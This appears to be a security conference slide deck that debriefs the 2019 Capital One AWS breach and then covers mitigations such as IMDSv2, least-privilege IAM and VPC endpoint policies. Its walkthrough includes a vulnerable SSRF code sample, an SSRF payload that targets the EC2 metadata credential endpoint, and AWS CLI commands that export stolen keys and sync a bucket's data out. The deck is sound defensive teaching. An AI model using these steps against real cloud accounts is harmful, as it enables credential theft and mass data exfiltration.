Cloud Security: Attacking The Metadata Service v2

© 2019 Puma Security, LLC | All Rights Reserved
PUMA SECURITY
Cloud Security
Attacking The Metadata Service

Principal Security Engineer,
Puma Security
Coder
Static analysis engine, cloud
automation, security tools
Security Assessments
DevSecOps, cloud, source
code, web apps, mobile apps
Principal Instructor
DevSecOps Curriculum Manager
SANS Principal
Instructor
Contributing author of
SEC540, DEV544, and
DEV531
Education and Training
Iowa State M.S.
Information Assurance,
B.S. Computer
Engineering
AWS Certified Developer
CISSP, GSSP, GWAPT
Contact Information
eric.johnson@pumascan.com
Twitter: @emjohn20
LinkedIn: linkedin.com/in/
eric-m-johnson
@
$WHOAMI

Cloud Security:
Attacking The
Metadata Service
Cap One Debrief
Walk Through
Post Mortem
AGENDA

DEBRIEF
What happened

SORRY, THE LAWYERS
MADE ME DO IT
0 03
LEGAL DISCLAIMER
● I do not work for Capital One
● I have never worked for Capital One
● Information found in this presentation is based on publicly available resources

BREAKING NEWS
On July 29, 2019, Capital One announced a
data breach affecting resources hosted in
AWS:
• 106 million credit card applicants
• 140,000 credit card holder social security
numbers
• 80,000 credit card linked bank account numbers
• https://www.capitalone.com/facts2019/

IT’S ALWAYS S3

ARREST AFFIDAVIT
Paige Thompson arrest affidavit
reveals the story -
March 22, 2019
• Recon: IAM role ****-WAF-Role runs
the list-buckets command
• Exfiltration: IAM role ****WAF-Role
runs the sync command

ARREST AFFIDAVIT CONTINUED
• Thompson hid her identity during the
attack using Tor and IPredator (VPN)
• A Slack conversation revealed that she
admitted to dumping data
• Data published to a public GitHub Gist
July 17, 2019 user reported Gist to
Capital One’s responsible disclosure inbox

THE ATTACK SUMMARY

How it happened
WALK THROUGH

#1 Server Side Request Forgery

WEB APPLICATION FIREWALL FAIL
• The affidavit made it very clear an instance running a
firewall was involved
• Remember me? IAM role ****-WAF-Role
• AWS WAF ruled out based on the fact it doesn’t run
under an IAM role
• August 2nd: Krebs report calls out Apache and
ModSecurity
• https://bit.ly/2T7cQNW

EXACT MISCONFIGURATION UNKNOWN
Speculation continues…maybe a combination of Apache,
ModSecurity and ModProxy?
https://twitter.com/ChrFolini/status/1157533808402620416

SSRF | THE REMOTE CODE EXECUTION OF THE CLOUD
Server-side Request Forgery vulnerabilities occur when an
application requests data from another URL that is supplied from
an untrusted location, including:
● Request parameters
● Web services
● Backend systems
1
2
3
4
5
6
7
public async IActionResult Get(string target)
{
var client = new HttpClient();
var request = client.GetAsync(target);
var json = await result.Content.ReadAsStringAsync();
return JsonConvert.DeserializeObject<GetResult>(json);
}

SSRF | EXPECTED USAGE
Normal forward (proxy) request to an internal system:
1
2
3
4
5
{
"id": "12682", "firstname": "eric", "company": "Puma Security"
"id": "54247", "firstname": "scott", "company": "Puma Security"
"id": "84824", "firstname": "matthew", "company": "Puma Security"
}
https://awesomeapp.com/forward?target=https://awesomeapp.com/api/users/
Normal response:

#2 Instance Profile Credentials

STANDARD USER WORKFLOW
COMMIT (CI)
Application User
Organization Infrastructure
EC2 Virtual Machine
S3
EC2
Metadata
AWS Services
IAM
1 2
4
3

EC2 INSTANCE PROFILE ROLES
Instance profiles allow EC2 instances to
attach to an IAM role on creation:
• Automatically provisions temporary access
keys on the instance for calling other AWS
services (S3, KMS, etc)
• Avoids hardcoding/storing access keys in
code running on the instance
• Temporary access keys are requested from
STS and automatically rotated

IAM PROFILE ROLE | WIDE OPEN S3 PERMISSIONS
CloudFormation code defining the WAF role S3 permissions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
AwesomeWafRole:
Type: AWS::IAM::Role
Properties:
RoleName: "Awesome-WAF-Role"
Policies:
- PolicyName: "Awesome-WAF-Policy"
PolicyDocument:
Version: 2012-10-17
Statement:
- Effect: "Allow"
Actions:
- "s3:List*"
- "s3:Get*"
Resource: "*"

PROGRAMITICALLY ACCESSING METADATA
Requesting EC2 metadata endpoint using curl:
curl http://169.254.169.254/latest/meta-data/
Response:
1
2
3
4
5
6
7
8
9
10
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id

SSRF PAYLOAD
Going from SSRF to RCE using the EC2 metadata endpoint:
https://awesomeapp.com/forward?target=http://169.254.169.254/latest
/meta-data/iam/security-credentials/Awesome-WAF-Role/
SSRF Response:
1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}

COMMIT (CI)
EC2 Virtual Machine
S3
EC2
Metadata
AWS Services
IAM
1
Attacker
ATTACKER STEALING CREDENTIALS VIA SSRF
3
4
2

#3 Data Exfiltration

EXFILTRATE | SET ACCESS KEYS
1
2
3
$ export AWS_ACCESS_KEY_ID=ASIA54BL6PJR37YOEP67
$ export AWS_SECRET_ACCESS_KEY=OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2
$ export AWS_SESSION_TOKEN=AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv
On the attacker controlled machine, export AWS CLI
environment variables:
• Access key
• Secret key
• Session token

EXFILTRATE | LIST ACCESSIBLE BUCKETS
1
2
3
4
5
6
$ aws s3api list-buckets
{
"CreationDate": "2019-09-07T23:12:29.000Z",
"Name": "credit-card-applicants"
},
AWS CLI command to list buckets:

EXFILTRATE | LIST ACCESSIBLE BUCKETS IN TARGET BUCKET
1
2
3
4
5
6
7
8
9
10
11
12
13
$ aws s3api list-objects --bucket credit-card-applicants
"Contents": [
{
"Key": "w2/",
"LastModified": "2019-09-07T03:00:34.000Z",
"ETag": ""d41d8cd98f00b204e9800998ecf8427e"",
"Size": 0,
"StorageClass": "STANDARD",
"Owner": {
"ID": "86aa0cef762dce02cb5019cf7"
}
},
…
AWS CLI command to list objects in a given bucket:

EXFILTRATE | DUMP DATA FROM TARGET BUCKET
$ aws s3 sync s3://credit-card-applicants ~/Downloads/dump
download: s3://credit-card-applicants/w2/1/2017-w2.pdf to w2/1/2017-w2.pdf
AWS CLI command to sync data from a bucket to a local disk:
1
2
3
4
5
6
7
8
9

What we’ve learned
POST MORTEM

AWS BREACH INQUIRY
Our friend, Senator Wyden continues to investigate and AWS responds:
https://bit.ly/2kueLiK

METADATA SERVICE ENHANCEMENT REQUEST #1
August 2014: Andres Riancho presents a talk: Pivoting in Amazon Clouds:
https://ubm.io/2lTAGAh

August 28th, 2018: Scott Piper, Summit Route Security Consultant,
requested metadata service security enhancements:

Nov 28th, 2018: Netflix blog post regarding metadata
credential theft and hardening techniques:
https://bit.ly/2lYo3nJ

MITIGATING CONTROL #0 | AWS IMDS V1 WEAKNESSES
August 1st, 2019: AWS should (and probably will given the high
publicity surrounding this breach) make the following enhancements
to better protect the metadata endpoint:
1. Follow the pattern used by Azure and Google Cloud Platform
2. Reject requests without a custom header
3. Automatically deny requests signed with the metadata credentials
originating from a different resource / source IP address
1
2
Metadata-Flavor: Google
Metadata: true

MITIGATING CONTROL #0 | AWS IMDS V2
November 19th, 2019: AWS releases major enhancement to the EC2 Instance
Metadata Service (IMDSv2):
1. Retrieve session token from the metadata service token endpoint (PUT request)
2. Set the X-aws-ec2-metadata-token on subsequent IMDSv2 requests:
1
2
3
TOKEN=`curl -X PUT
"http://169.254.169.254/latest/api/token" -H "X-
aws-ec2-metadata-token-ttl-seconds: 21600"`
1
2
curl http://169.254.169.254/latest/meta-
data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

MITIGATING CONTROL #0 | AWS IMDS V2 PROTECTIONS
IMDSv2 provides defense in depth protection for several attack scenarios:
1. Open Web Application Firewalls
• Analysis of third-party WAF open misconfigurations rarely support HTTP PUT requests
2. Open Reverse Proxies
• IMDSv2 blocks requests containing the X-Forwarded-For header
3. Server-side Request Forgery (SSRF)
• Standard SSRF vulnerabilities shouldn't allow an attacker to submit a PUT request and
control the X-aws-ec2-metadata-token-* headers
3. Metadata Token Exfiltration Protection
• TTL on packets containing the IMDS tokens defaults to 1. Hardware and software
handling packets reduce TTL to 0 before packet leaves an EC2 instance.

CUSTOMER MANAGED MITIGATING CONTROLS
Cloud security controls falling on the customer's side of
the responsibility model:
1. Fix the SSRF vulnerability
2. Least privilege IAM roles
3. Configure VPC Endpoints
4. VPC Endpoint IAM
5. Monitoring API anomalies

MITIGATING CONTROL #1 | INPUT VALIDATION
1
2
3
4
5
6
7
8
9
10
11
12
13
public async IActionResult Get(Guid urlId) {
//Pull valid endpoints from the configuration file
List<Endpoint> endpoints = GetEndpoints();
//Verify the endpoint exists
Endpoint e = endpoints.FirstOrDefault(i => i.Id == urlId);
if (e == null) throw new ArgumentException("Invalid endpoint id.");
var client = new HttpClient();
var request = client.GetAsync(e.Url);
var json = await result.Content.ReadAsStringAsync();
return JsonConvert.DeserializeObject<GetResult>(json);
}
Validate incoming URL parameter for a valid domain:
Validate
the data!

MITIGATING CONTROL #2 | LEAST PRIVILEGE IAM POLICY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Policies:
- PolicyName: "Awesome-WAF-Policy"
PolicyDocument:
Version: 2012-10-17
Statement:
- Effect: "Allow"
Action:
- "s3:ListBucket"
Resource:
- "arn:aws:s3:::waf-logging-bucket"
- Effect: "Allow"
Action:
- "s3:PutObject"
Resource:
- " arn:aws:s3:::waf-logging-bucket/*"
Locking down the WAF IAM instance profile policy:

MITIGATING CONTOROL #3 | VPC S3 ENDPOINT
VPC Endpoints
• Enables VPC resources to call AWS APIs
without going over the Internet
• Resources connect to a private endpoint
directly from the VPC

MITIGATING CONTROL #4 | VPC ENDPOINT POLICY
1
2
3
4
5
6
7
8
9
10
11
Statement:
…
- Effect: "Deny"
Action: "*"
Principal: "*"
Resource:
- "arn:aws:s3:::credit-card-applicants"
Condition:
StringNotEquals:
aws:sourceVpc:
- "vpc-111bbb22"
Protecting the credit card applicant's bucket using a VPC endpoint
bucket policy:

MITIGATING CONTROL #5 | IAM CREDENTIAL MONITORING
CloudTrail logs provide data to correlate instance profile requests
with the IP address in the VPC:

MITIGATING CONTROL #5 | EXTERNAL TOOLS
Monitor and alert on requests to the EC2
metadata endpoint:
• Canary: https://help.canary.tools/help/the-what-why-
how-of-apeeper
• Cloud Trail Anomaly: https://github.com/Netflix-
Skunkworks/cloudtrail-anomaly

COMMIT (CI)
EC2 Virtual Machine
S3
EC2
Metadata
AWS Services
IAM
Attacker
HARDENED WORKFLOW
Application User

Cloud Security:
Attacking The
Metadata Service
Contact:
eric.johnson@pumasecurity.io
SUMMARY
@emjohn20
• EC2 instance profiles
• AWS data exfiltration
• Protecting instance
metadata
• Restricting IAM policies
• Configuring VPC
endpoint policies
• Detecting credential
compromise

Cloud Security: Attacking The Metadata Service v2

More Related Content

What's hot (20)

Similar to Cloud Security: Attacking The Metadata Service v2 (20)

More from Puma Security, LLC (10)

Recently uploaded (20)

Cloud Security: Attacking The Metadata Service v2